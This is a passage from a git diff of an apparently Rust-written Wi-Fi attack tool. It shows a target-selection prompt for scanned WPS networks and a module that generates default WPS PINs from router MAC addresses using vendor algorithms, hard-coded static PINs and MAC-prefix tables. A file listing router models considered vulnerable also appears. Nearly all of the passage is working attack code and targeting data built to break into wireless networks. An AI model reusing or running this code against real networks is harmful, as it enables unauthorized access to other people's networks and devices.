+ } + + pub fn prompt_network(&self, reverse_scan: bool) -> Option { + loop { + let networks = self.iw_scanner(reverse_scan); + let networks = match networks { + Some(nets) => nets, + None => { + println!("[-] No WPS networks found."); + return None; + } + }; + + loop { + print!("Select target (press Enter to refresh): "); + io::stdout().flush().ok(); + let mut input = String::new(); + if io::stdin().read_line(&mut input).is_err() { + return None; + } + let trimmed = input.trim(); + if trimmed.is_empty() || trimmed.eq_ignore_ascii_case("r") || trimmed == "0" { + break; // Refresh scan + } + + if let Ok(num) = trimmed.parse::() { + if num >= 1 && num <= networks.len() { + return Some(networks[num - 1].bssid.clone()); + } + } + println!("Invalid number"); + } + } + } + + fn truncate_str(s: &str, target_width: usize) -> String { + let width = UnicodeWidthStr::width(s); + if width <= target_width { + let pad = target_width - width; + return format!("{}{}", s, " ".repeat(pad)); + } + + let postfix = "…"; + let postfix_width = UnicodeWidthStr::width(postfix); + let max_allowed = if target_width > postfix_width { + target_width - postfix_width + } else { + 0 + }; + + let mut current_width = 0; + let mut truncated = String::new(); + for c in s.chars() { + let ch_w = UnicodeWidthStr::width(c.to_string().as_str()); + if current_width + ch_w > max_allowed { + break; + } + truncated.push(c); + current_width += ch_w; + } + + truncated.push_str(postfix); + let final_w = UnicodeWidthStr::width(truncated.as_str()); + if final_w < target_width { + format!("{}{}", truncated, " ".repeat(target_width - final_w)) + } else { + truncated + } + } +} diff --git a/src/wpspin.rs b/src/wpspin.rs new file mode 100644 index 0000000..8a7e9fd --- /dev/null +++ b/src/wpspin.rs @@ -0,0 +1,343 @@ +use crate::mac::NetworkAddress; +use std::collections::HashMap; +use std::io::{self, Write}; + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum AlgoMode { + Mac, + Empty, + Static, +} + +#[derive(Debug, Clone)] +pub struct AlgoInfo { + pub id: &'static str, + pub name: &'static str, + pub mode: AlgoMode, +} + +#[allow(dead_code)] +#[derive(Debug, Clone)] +pub struct PinItem { + pub id: String, + pub name: String, + pub pin: String, +} + +pub struct WPSpin { + algos: HashMap<&'static str, AlgoInfo>, + suggestions: HashMap<&'static str, Vec<&'static str>>, +} + +impl WPSpin { + pub fn new() -> Self { + let mut algos = HashMap::new(); + let list = vec![ + AlgoInfo { id: "pin24", name: "24-bit PIN", mode: AlgoMode::Mac }, + AlgoInfo { id: "pin28", name: "28-bit PIN", mode: AlgoMode::Mac }, + AlgoInfo { id: "pin32", name: "32-bit PIN", mode: AlgoMode::Mac }, + AlgoInfo { id: "pinDLink", name: "D-Link PIN", mode: AlgoMode::Mac }, + AlgoInfo { id: "pinDLink1", name: "D-Link PIN +1", mode: AlgoMode::Mac }, + AlgoInfo { id: "pinASUS", name: "ASUS PIN", mode: AlgoMode::Mac }, + AlgoInfo { id: "pinAirocon", name: "Airocon Realtek", mode: AlgoMode::Mac }, + // Static / empty pin algos + AlgoInfo { id: "pinEmpty", name: "Empty PIN", mode: AlgoMode::Empty }, + AlgoInfo { id: "pinCisco", name: "Cisco", mode: AlgoMode::Static }, + AlgoInfo { id: "pinBrcm1", name: "Broadcom 1", mode: AlgoMode::Static }, + AlgoInfo { id: "pinBrcm2", name: "Broadcom 2", mode: AlgoMode::Static }, + AlgoInfo { id: "pinBrcm3", name: "Broadcom 3", mode: AlgoMode::Static }, + AlgoInfo { id: "pinBrcm4", name: "Broadcom 4", mode: AlgoMode::Static }, + AlgoInfo { id: "pinBrcm5", name: "Broadcom 5", mode: AlgoMode::Static }, + AlgoInfo { id: "pinBrcm6", name: "Broadcom 6", mode: AlgoMode::Static }, + AlgoInfo { id: "pinAirc1", name: "Airocon 1", mode: AlgoMode::Static }, + AlgoInfo { id: "pinAirc2", name: "Airocon 2", mode: AlgoMode::Static }, + AlgoInfo { id: "pinDSL2740R", name: "DSL-2740R", mode: AlgoMode::Static }, + AlgoInfo { id: "pinRealtek1", name: "Realtek 1", mode: AlgoMode::Static }, + AlgoInfo { id: "pinRealtek2", name: "Realtek 2", mode: AlgoMode::Static }, + AlgoInfo { id: "pinRealtek3", name: "Realtek 3", mode: AlgoMode::Static }, + AlgoInfo { id: "pinUpvel", name: "Upvel", mode: AlgoMode::Static }, + AlgoInfo { id: "pinUR814AC", name: "UR-814AC", mode: AlgoMode::Static }, + AlgoInfo { id: "pinUR825AC", name: "UR-825AC", mode: AlgoMode::Static }, + AlgoInfo { id: "pinOnlime", name: "Onlime", mode: AlgoMode::Static }, + AlgoInfo { id: "pinEdimax", name: "Edimax", mode: AlgoMode::Static }, + AlgoInfo { id: "pinThomson", name: "Thomson", mode: AlgoMode::Static }, + AlgoInfo { id: "pinHG532x", name: "HG532x", mode: AlgoMode::Static }, + AlgoInfo { id: "pinH108L", name: "H108L", mode: AlgoMode::Static }, + AlgoInfo { id: "pinONO", name: "CBN ONO", mode: AlgoMode::Static }, + ]; + for item in list { + algos.insert(item.id, item); + } + + let mut suggestions: HashMap<&'static str, Vec<&'static str>> = HashMap::new(); + suggestions.insert("pin24", vec![ + "04BF6D", "0E5D4E", "107BEF", "14A9E3", "28285D", "2A285D", "32B2DC", "381766", "404A03", "4E5D4E", + "5067F0", "5CF4AB", "6A285D", "8E5D4E", "AA285D", "B0B2DC", "C86C87", "CC5D4E", "CE5D4E", "EA285D", + "E243F6", "EC43F6", "EE43F6", "F2B2DC", "FCF528", "FEF528", "4C9EFF", "0014D1", "D8EB97", "1C7EE5", + "84C9B2", "FC7516", "14D64D", "9094E4", "BCF685", "C4A81D", "00664B", "087A4C", "14B968", "2008ED", + "346BD3", "4CEDDE", "786A89", "88E3AB", "D46E5C", "E8CD2D", "EC233D", "ECCB30", "F49FF3", "20CF30", + "90E6BA", "E0CB4E", "D4BF7F4", "F8C091", "001CDF", "002275", "08863B", "00B00C", "081075", "C83A35", + "0022F7", "001F1F", "00265B", "68B6CF", "788DF7", "BC1401", "202BC1", "308730", "5C4CA9", "62233D", + "623CE4", "623DFF", "6253D4", "62559C", "626BD3", "627D5E", "6296BF", "62A8E4", "62B686", "62C06F", + "62C61F", "62C714", "62CBA8", "62CDBE", "62E87B", "6416F0", "6A1D67", "6A233D", "6A3DFF", "6A53D4", + "6A559C", "6A6BD3", "6A96BF", "6A7D5E", "6AA8E4", "6AC06F", "6AC61F", "6AC714", "6ACBA8", "6ACDBE", + "6AD15E", "6AD167", "721D67", "72233D", "723CE4", "723DFF", "7253D4", "72559C", "726BD3", "727D5E", + "7296BF", "72A8E4", "72C06F", "72C61F", "72C714", "72CBA8", "72CDBE", "72D15E", "72E87B", "0026CE", + "9897D1", "E04136", "B246FC", "E24136", "00E020", "5CA39D", "D86CE9", "DC7144", "801F02", "E47CF9", + "000CF6", "00A026", "A0F3C1", "647002", "B0487A", "F81A67", "F8D111", "34BA9A", "B4944E", + ]); + suggestions.insert("pin28", vec!["200BC7", "4846FB", "D46AA8", "F84ABF"]); + suggestions.insert("pin32", vec![ + "000726", "D8FEE3", "FC8B97", "1062EB", "1C5F2B", "48EE0C", "802689", "908D78", "E8CC18", "2CAB25", + "10BF48", "14DAE9", "3085A9", "50465D", "5404A6", "C86000", "F46D04", "3085A9", "801F02", + ]); + suggestions.insert("pinDLink", vec![ + "14D64D", "1C7EE5", "28107B", "84C9B2", "A0AB1B", "B8A386", "C0A0BB", "CCB255", "FC7516", "0014D1", "D8EB97", + ]); + suggestions.insert("pinDLink1", vec![ + "0018E7", "00195B", "001CF0", "001E58", "002191", "0022B0", "002401", "00265A", "14D64D", "1C7EE5", + "340804", "5CD998", "84C9B2", "B8A386", "C8BE19", "C8D3A3", "CCB255", "0014D1", + ]); + suggestions.insert("pinASUS", vec![ + "049226", "04D9F5", "08606E", "0862669", "107B44", "10BF48", "10C37B", "14DDA9", "1C872C", "1CB72C", + "2C56DC", "2CFDA1", "305A3A", "382C4A", "38D547", "40167E", "50465D", "54A050", "6045CB", "60A44C", + "704D7B", "74D02B", "7824AF", "88D7F6", "9C5C8E", "AC220B", "AC9E17", "B06EBF", "BCEE7B", "C860007", + "D017C2", "D850E6", "E03F49", "F0795978", "F832E4", "00072624", "0008A1D3", "00177C", "001EA6", "00304FB", + "00E04C0", "048D38", "081077", "081078", "081079", "083E5D", "10FEED3C", "181E78", "1C4419", "2420C7", + "247F20", "2CAB25", "3085A98C", "3C1E04", "40F201", "44E9DD", "48EE0C", "5464D9", "54B80A", "587BE906", + "60D1AA21", "64517E", "64D954", "6C198F", "6C7220", "6CFDB9", "78D99FD", "7C2664", "803F5DF6", "84A423", + "88A6C6", "8C10D4", "8C882B00", "904D4A", "907282", "90F65290", "94FBB2", "A01B29", "A0F3C1E", "A8F7E00", + "ACA213", "B85510", "B8EE0E", "BC3400", "BC9680", "C891F9", "D00ED90", "D084B0", "D8FEE3", "E4BEED", + "E894F6F6", "EC1A5971", "EC4C4D", "F42853", "F43E61", "F46BEF", "F8AB05", "FC8B97", "7062B8", "78542E", + "C0A0BB8C", "C412F5", "C4A81D", "E8CC18", "EC2280", "F8E903F4", + ]); + suggestions.insert("pinAirocon", vec![ + "0007262F", "000B2B4A", "000EF4E7", "001333B", "00177C", "001AEF", "00E04BB3", "02101801", "0810734", + "08107710", "1013EE0", "2CAB25C7", "788C54", "803F5DF6", "94FBB2", "BC9680", "F43E61", "FC8B97", + ]); + suggestions.insert("pinEmpty", vec![ + "E46F13", "EC2280", "58D56E", "1062EB", "10BEF5", "1C5F2B", "802689", "A0AB1B", "74DADA", "9CD643", + "68A0F6", "0C96BF", "20F3A3", "ACE215", "C8D15E", "000E8F", "D42122", "3C9872", "788102", "7894B4", + "D460E3", "E06066", "004A77", "2C957F", "64136C", "74A78E", "88D274", "702E22", "74B57E", "789682", + "7C3953", "8C68C8", "D476EA", "344DEA", "38D82F", "54BE53", "709F2D", "94A7B7", "981333", "CAA366", "D0608C", + ]); + suggestions.insert("pinCisco", vec!["001A2B", "00248C", "002618", "344DEB", "7071BC", "E06995", "E0CB4E", "7054F5"]); + suggestions.insert("pinBrcm1", vec!["ACF1DF", "BCF685", "C8D3A3", "988B5D", "001AA9", "14144B", "EC6264"]); + suggestions.insert("pinBrcm2", vec!["14D64D", "1C7EE5", "28107B", "84C9B2", "B8A386", "BCF685", "C8BE19"]); + suggestions.insert("pinBrcm3", vec!["14D64D", "1C7EE5", "28107B", "B8A386", "BCF685", "C8BE19", "7C034C"]); + suggestions.insert("pinBrcm4", vec!["14D64D", "1C7EE5", "28107B", "84C9B2", "B8A386", "BCF685", "C8BE19", "C8D3A3", "CCB255", "FC7516", "204E7F", "4C17EB", "18622C", "7C03D8", "D86CE9"]); + suggestions.insert("pinBrcm5", vec!["14D64D", "1C7EE5", "28107B", "84C9B2", "B8A386", "BCF685", "C8BE19", "C8D3A3", "CCB255", "FC7516", "204E7F", "4C17EB", "18622C", "7C03D8", "D86CE9"]); + suggestions.insert("pinBrcm6", vec!["14D64D", "1C7EE5", "28107B", "84C9B2", "B8A386", "BCF685", "C8BE19", "C8D3A3", "CCB255", "FC7516", "204E7F", "4C17EB", "18622C", "7C03D8", "D86CE9"]); + suggestions.insert("pinAirc1", vec!["181E78", "40F201", "44E9DD", "D084B0"]); + suggestions.insert("pinAirc2", vec!["84A423", "8C10D4", "88A6C6"]); + suggestions.insert("pinDSL2740R", vec!["00265A", "1CBDB9", "340804", "5CD998", "84C9B2", "FC7516"]); + suggestions.insert("pinRealtek1", vec!["0014D1", "000C42", "000EE8"]); + suggestions.insert("pinRealtek2", vec!["007263", "E4BEED"]); + suggestions.insert("pinRealtek3", vec!["08C6B3"]); + suggestions.insert("pinUpvel", vec!["784476", "D4BF7F0", "F8C091"]); + suggestions.insert("pinUR814AC", vec!["D4BF7F60"]); + suggestions.insert("pinUR825AC", vec!["D4BF7F5"]); + suggestions.insert("pinOnlime", vec!["D4BF7F", "F8C091", "144D67", "784476", "0014D1"]); + suggestions.insert("pinEdimax", vec!["801F02", "00E04C"]); + suggestions.insert("pinThomson", vec!["002624", "4432C8", "88F7C7", "CC03FA"]); + suggestions.insert("pinHG532x", vec!["00664B", "086361", "087A4C", "0C96BF", "14B968", "2008ED", "2469A5", "346BD3", "786A89", "88E3AB", "9CC172", "ACE215", "D07AB5", "CCA223", "E8CD2D", "F80113", "F83DFF"]); + suggestions.insert("pinH108L", vec!["4C09B4", "4CAC0A", "84742A4", "9CD24B", "B075D5", "C864C7", "DC028E", "FCC897"]); + suggestions.insert("pinONO", vec!["5C353B", "DC537C"]); + + Self { algos, suggestions } + } + + pub fn checksum(mut pin: u32) -> u32 { + let mut accum = 0; + while pin > 0 { + accum += 3 * (pin % 10); + pin /= 10; + accum += pin % 10; + pin /= 10; + } + (10 - (accum % 10)) % 10 + } + + pub fn generate(&self, algo_id: &str, mac: &NetworkAddress) -> Result { + let _algo = self.algos.get(algo_id).ok_or("Invalid WPS pin algorithm")?; + if algo_id == "pinEmpty" { + return Ok(String::new()); + } + + let raw_pin: u64 = match algo_id { + "pin24" => mac.integer() & 0xFFFFFF, + "pin28" => mac.integer() & 0xFFFFFFF, + "pin32" => mac.integer() % 0x100000000, + "pinDLink" => self.pin_dlink(mac), + "pinDLink1" => { + let mut m = mac.clone(); + m.set_integer(m.integer() + 1); + self.pin_dlink(&m) + } + "pinASUS" => self.pin_asus(mac), + "pinAirocon" => self.pin_airocon(mac), + "pinCisco" => 1234567, + "pinBrcm1" => 2017252, + "pinBrcm2" => 4626484, + "pinBrcm3" => 7622990, + "pinBrcm4" => 6232714, + "pinBrcm5" => 1086411, + "pinBrcm6" => 3195719, + "pinAirc1" => 3043203, + "pinAirc2" => 7141225, + "pinDSL2740R" => 6817554, + "pinRealtek1" => 9566146, + "pinRealtek2" => 9571911, + "pinRealtek3" => 4856371, + "pinUpvel" => 2085483, + "pinUR814AC" => 4397768, + "pinUR825AC" => 529417, + "pinOnlime" => 9995604, + "pinEdimax" => 3561153, + "pinThomson" => 6795814, + "pinHG532x" => 3425928, + "pinH108L" => 9422988, + "pinONO" => 9575521, + _ => return Err("Unknown WPS pin algorithm".to_string()), + }; + + let pin7 = (raw_pin % 10_000_000) as u32; + let csum = Self::checksum(pin7); + Ok(format!("{:07}{}", pin7, csum)) + } + + fn pin_dlink(&self, mac: &NetworkAddress) -> u64 { + let nic = mac.integer() & 0xFFFFFF; + let mut pin = nic ^ 0x55AA55; + pin ^= ((pin & 0xF) << 4) + + ((pin & 0xF) << 8) + + ((pin & 0xF) << 12) + + ((pin & 0xF) << 16) + + ((pin & 0xF) << 20); + pin %= 10_000_000; + if pin < 1_000_000 { + pin += ((pin % 9) * 1_000_000) + 1_000_000; + } + pin + } + + fn pin_asus(&self, mac: &NetworkAddress) -> u64 { + let mac_str = mac.string(); + let bytes: Vec = mac_str + .split(':') + .map(|s| u32::from_str_radix(s, 16).unwrap_or(0)) + .collect(); + if bytes.len() < 6 { + return 0; + } + let sum_b15 = bytes[1] + bytes[2] + bytes[3] + bytes[4] + bytes[5]; + let mut pin_str = String::new(); + for i in 0..7 { + let denom = 10 - ((i as u32 + sum_b15) % 7); + let digit = (bytes[i % 6] + bytes[5]) % denom; + pin_str.push_str(&digit.to_string()); + } + pin_str.parse::().unwrap_or(0) + } + + fn pin_airocon(&self, mac: &NetworkAddress) -> u64 { + let mac_str = mac.string(); + let b: Vec = mac_str + .split(':') + .map(|s| u64::from_str_radix(s, 16).unwrap_or(0)) + .collect(); + if b.len() < 6 { + return 0; + } + ((b[0] + b[1]) % 10) + + (((b[5] + b[0]) % 10) * 10) + + (((b[4] + b[5]) % 10) * 100) + + (((b[3] + b[4]) % 10) * 1000) + + (((b[2] + b[3]) % 10) * 10000) + + (((b[1] + b[2]) % 10) * 100000) + + (((b[0] + b[1]) % 10) * 1000000) + } + + fn suggest_algos(&self, mac: &str) -> Vec<&'static str> { + let clean_mac = mac.replace([':', '-'], "").to_uppercase(); + let mut res = Vec::new(); + // Preserving insertion order of algos + let algo_ids = vec![ + "pin24", "pin28", "pin32", "pinDLink", "pinDLink1", "pinASUS", "pinAirocon", "pinEmpty", + "pinCisco", "pinBrcm1", "pinBrcm2", "pinBrcm3", "pinBrcm4", "pinBrcm5", "pinBrcm6", + "pinAirc1", "pinAirc2", "pinDSL2740R", "pinRealtek1", "pinRealtek2", "pinRealtek3", + "pinUpvel", "pinUR814AC", "pinUR825AC", "pinOnlime", "pinEdimax", "pinThomson", + "pinHG532x", "pinH108L", "pinONO", + ]; + + for algo_id in algo_ids { + if let Some(masks) = self.suggestions.get(algo_id) { + if masks.iter().any(|mask| clean_mac.starts_with(mask)) { + res.push(algo_id); + } + } + } + res + } + + pub fn get_suggested(&self, mac_str: &str) -> Vec { + let Ok(mac) = NetworkAddress::from_str(mac_str) else { + return Vec::new(); + }; + let algos = self.suggest_algos(mac_str); + let mut res = Vec::new(); + for id in algos { + if let Some(algo) = self.algos.get(id) { + let name = if algo.mode == AlgoMode::Static { + format!("Static PIN — {}", algo.name) + } else { + algo.name.to_string() + }; + if let Ok(pin) = self.generate(id, &mac) { + res.push(PinItem { + id: id.to_string(), + name, + pin, + }); + } + } + } + res + } + + pub fn get_likely(&self, mac_str: &str) -> Option { + let list = self.get_suggested(mac_str); + list.first().map(|item| item.pin.clone()) + } + + pub fn prompt_wpspin(&self, bssid: &str) -> Option { + let pins = self.get_suggested(bssid); + if pins.len() > 1 { + println!("PINs generated for {}:", bssid); + println!("{:<3} {:<10} {:<}", "#", "PIN", "Name"); + for (i, pin_item) in pins.iter().enumerate() { + let number = format!("{})", i + 1); + println!("{:<3} {:<10} {:<}", number, pin_item.pin, pin_item.name); + } + loop { + print!("Select the PIN: "); + io::stdout().flush().ok(); + let mut input = String::new(); + if io::stdin().read_line(&mut input).is_err() { + break None; + } + if let Ok(num) = input.trim().parse::() { + if num >= 1 && num <= pins.len() { + return Some(pins[num - 1].pin.clone()); + } + } + println!("Invalid number"); + } + } else if pins.len() == 1 { + println!("[i] The only probable PIN is selected: {}", pins[0].name); + Some(pins[0].pin.clone()) + } else { + None + } + } +} diff --git a/vulnwsc.txt b/vulnwsc.txt new file mode 100644 index 0000000..8e5bd33 --- /dev/null +++ b/vulnwsc.txt @@ -0,0 +1,164 @@ +ADSL Router EV-2006-07-27 +ADSL RT2860 +AIR3G WSC Wireless Access Point AIR3G WSC Device +AirLive Wireless Gigabit AP AirLive Wireless Gigabit AP +Archer_A9 1.0 +ArcherC20i 1.0 +Archer A2 5.0 +Archer A5 4.0 +Archer C2 1.0 +Archer C2 3.0 +Archer C5 4.0 +Archer C6 3.20 +Archer C6U 1.0.0 +Archer C20 1.0 +Archer C20 4.0 +Archer C20 5.0 +Archer C50 1.0 +Archer C50 3.0 +Archer C50 4.0 +Archer C50 5.0 +Archer C50 6.0 +Archer MR200 1.0 +Archer MR200 4.0 +Archer MR400 4.2 +Archer MR200 5.0 +Archer VR300 1.20 +Archer VR400 3.0 +Archer VR2100 1.0 +B-LINK 123456 +Belkin AP EV-2012-09-01 +DAP-1360 DAP-1360 +DIR-635 B3 +DIR-819 v1.0.1 +DIR-842 DIR-842 +DWR-921C3 WBR-0001 +D-Link N Router GO-RT-N150 +D-Link Router DIR-605L +D-Link Router DIR-615H1 +D-Link Router DIR-655 +D-Link Router DIR-809 +D-Link Router GO-RT-N150 +Edimax Edimax +EC120-F5 1.0 +EC220-G5 2.0 +EV-2009-02-06 +Enhanced Wireless Router F6D4230-4 v1 +GPON ONT GPON ONT +GN256VH GN256VH +Home Internet Center KEENETIC series +Home Internet Center Keenetic series +Huawei Wireless Access Point RT2860 +JWNR2000v2(Wireless AP) JWNR2000v2 +Keenetic Keenetic series +Linksys Wireless Access Point EA7500 +Linksys Wireless Router WRT110 +NBG-419N NBG-419N +Netgear AP EV-2012-08-04 +NETGEAR Wireless Access Point NETGEAR +NETGEAR Wireless Access Point R6220 +NETGEAR Wireless Access Point R6260 +N/A EV-2010-09-20 +Ralink Wireless Access Point RT2860 +Ralink Wireless Access Point WR-AC1210 +RTL8196E +RTL8xxx EV-2009-02-06 +RTL8xxx EV-2010-09-20 +RTL8xxx RTK_ECOS +RT-G32 1234 +Sitecom Wireless Router 300N X2 300N +Smart Router R3 RT2860 +Tenda 123456 +Timo RA300R4 Timo RA300R4 +TD-W8151N RT2860 +TD-W8901N RT2860 +TD-W8951ND RT2860 +TD-W9960 1.0 +TD-W9960 1.20 +TD-W9960v 1.0 +TD-W8968 2.0 +TEW-731BR TEW-731BR +TL-MR100 1.0 +TL-MR3020 3.0 +TL-MR3420 5.0 +TL-MR6400 3.0 +TL-MR6400 4.0 +TL-WA855RE 4.0 +TL-WR840N 4.0 +TL-WR840N 5.0 +TL-WR840N 6.0 +TL-WR841N 13.0 +TL-WR841N 14.0 +TL-WR841HP 5.0 +TL-WR842N 5.0 +TL-WR845N 3.0 +TL-WR845N 4.0 +TL-WR850N 1.0 +TL-WR850N 2.0 +TL-WR850N 3.0 +TL-WR1042N EV-2010-09-20 +Trendnet router TEW-625br +Trendnet router TEW-651br +VN020-F3 1.0 +VMG3312-T20A RT2860 +VMG8623-T50A RT2860 +WAP300N WAP300N +WAP3205 WAP3205 +Wi-Fi Protected Setup Router RT-AC1200G+ +Wi-Fi Protected Setup Router RT-AX55 +Wi-Fi Protected Setup Router RT-N10U +Wi-Fi Protected Setup Router RT-N12 +Wi-Fi Protected Setup Router RT-N12D1 +Wi-Fi Protected Setup Router RT-N12VP +Wireless Access Point . +Wireless Router 123456 +Wireless Router RTL8xxx EV-2009-02-06 +Wireless Router Wireless Router +Wireless WPS Router <#ZVMODELVZ#> +Wireless WPS Router RT-N10E +Wireless WPS Router RT-N10LX +Wireless WPS Router RT-N12E +Wireless WPS Router RT-N12LX +WN3000RP V3 +WN-200R WN-200R +WPS Router (5G) RT-N65U +WPS Router DSL-AC51 +WPS Router DSL-AC52U +WPS Router DSL-AC55U +WPS Router DSL-N14U-B1 +WPS Router DSL-N16 +WPS Router DSL-N17U +WPS Router RT-AC750 +WPS Router RT-AC1200 +WPS Router RT-AC1200_V2 +WPS Router RT-AC1750 +WPS Router RT-AC750L +WPS Router RT-AC1750U +WPS Router RT-AC51 +WPS Router RT-AC51U +WPS Router RT-AC52U +WPS Router RT-AC52U_B1 +WPS Router RT-AC53 +WPS Router RT-AC57U +WPS Router RT-AC65P +WPS Router RT-AC85P +WPS Router RT-N11P +WPS Router RT-N12E +WPS Router RT-N12E_B1 +WPS Router RT-N12 VP +WPS Router RT-N12+ +WPS Router RT-N14U +WPS Router RT-N56U +WPS Router RT-N56UB1 +WPS Router RT-N65U +WPS Router RT-N300 +WR5570 2011-05-13 +XC220-G3v 1.0 +ZyXEL NBG-416N AP Router +ZyXEL NBG-416N AP Router NBG-416N +ZyXEL NBG-418N AP Router +ZyXEL NBG-418N AP Router NBG-418N +ZyXEL Wireless AP Router NBG-417N +Modem/Router EV-2010-09-20 +RB06 RT2860 +RB03 RT2860